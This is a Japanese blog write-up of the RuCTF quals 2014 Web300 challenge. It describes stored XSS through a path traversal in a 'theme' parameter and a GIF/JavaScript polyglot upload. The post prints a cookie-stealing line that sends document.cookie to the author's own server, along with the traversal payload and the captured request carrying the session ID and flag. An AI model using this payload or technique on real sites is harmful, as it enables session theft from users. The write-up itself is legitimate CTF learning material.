2014年3月13日木曜日

RuCTF quals 2014 (Web300)

事前登録をしていなくて参加出来ずにいたところ、@amasyougunさんから
お声をかけていただいてチームutopiaとして参加しました。

今回はpwn系の問題にも積極的にチャレンジしたのですが全然ダメでした。
pwnは一日にして成らずですね。はい。

結局、自分はWeb100,200,300とcrypto100を解きました。
多くのチームが解いた問題は、既に多数のwriteupが出ているのでWeb300のwriteupを書きました。

Web300.Messengerrr

問題文
We got Secure ID of Agent Dick Gill — d69e5ccddeed4c2a85fceea286e521fe. Let's send him an International Women's Day gift message ;)
Secure IDとやらでメッセージを送受信出来るシステムを与えられました。
とりあえず、問題文に記載のIDに対してXSSを叩き込めばいいんじゃね?と考えました。

メッセージの入力項目に"theme"という不自然なセレクトボックスがあり、
ここで選択した値はメッセージを開いた際に、次のような形で展開されます。
<link href="static/css/themes/選択値.min.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="/static/js/themes/選択値.min.js"></script>
もちろん選択値はHTMLエスケープされますがドット、スラッシュなどは
エスケープされないので、サーバ上の任意のファイルを読み込ませることが出来ます。

画像をアップロードして添付する仕組みがあったので、画像ファイルにJavaScriptを
突っ込んでセッションを奪取しようと試みました。

参考
http://www.tokumaru.org/d/20071210.html
http://blackpentesters.blogspot.jp/2013/08/gif-image-xss.html

アップロード画像のチェックが地味に厳しく、正しいバイナリかどうかはもちろん
解像度のチェックまでされていたので苦労しました。。。

最終的にはUTF-8のコード表を見ながらバイナリエディタでちまちま調整し、
なんとかチェックをすり抜けてJavaScriptとして実行できるgif画像を作りました。
(成果物はあまりきれいとは言い難いので割愛します><)
ちなみに、埋め込んだJavaScriptは次のような感じです。
location.href = 'http://自前のサーバ/'+document.cookie

あとは"theme"部分にJavaScriptを埋め込んだ画像が参照されるような値を入れ、
<script type="text/javascript" src="/static/js/themes/../../../upload/XXXXXXXX/xss.gif?.min.js"></script>
d69e5ccddeed4c2a85fceea286e521feさんにメッセージを送ったら
問題サーバから次のようなリクエストが返ってきました。
GET /secureid=秘密♡;%20flag=RUCTF_48e0945be711468e8cf17164957aeb33 HTTP/1.1
Host: 秘密♡
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mssngrrr.quals.ructf.org/preview?id=秘密♡
Connection: keep-alive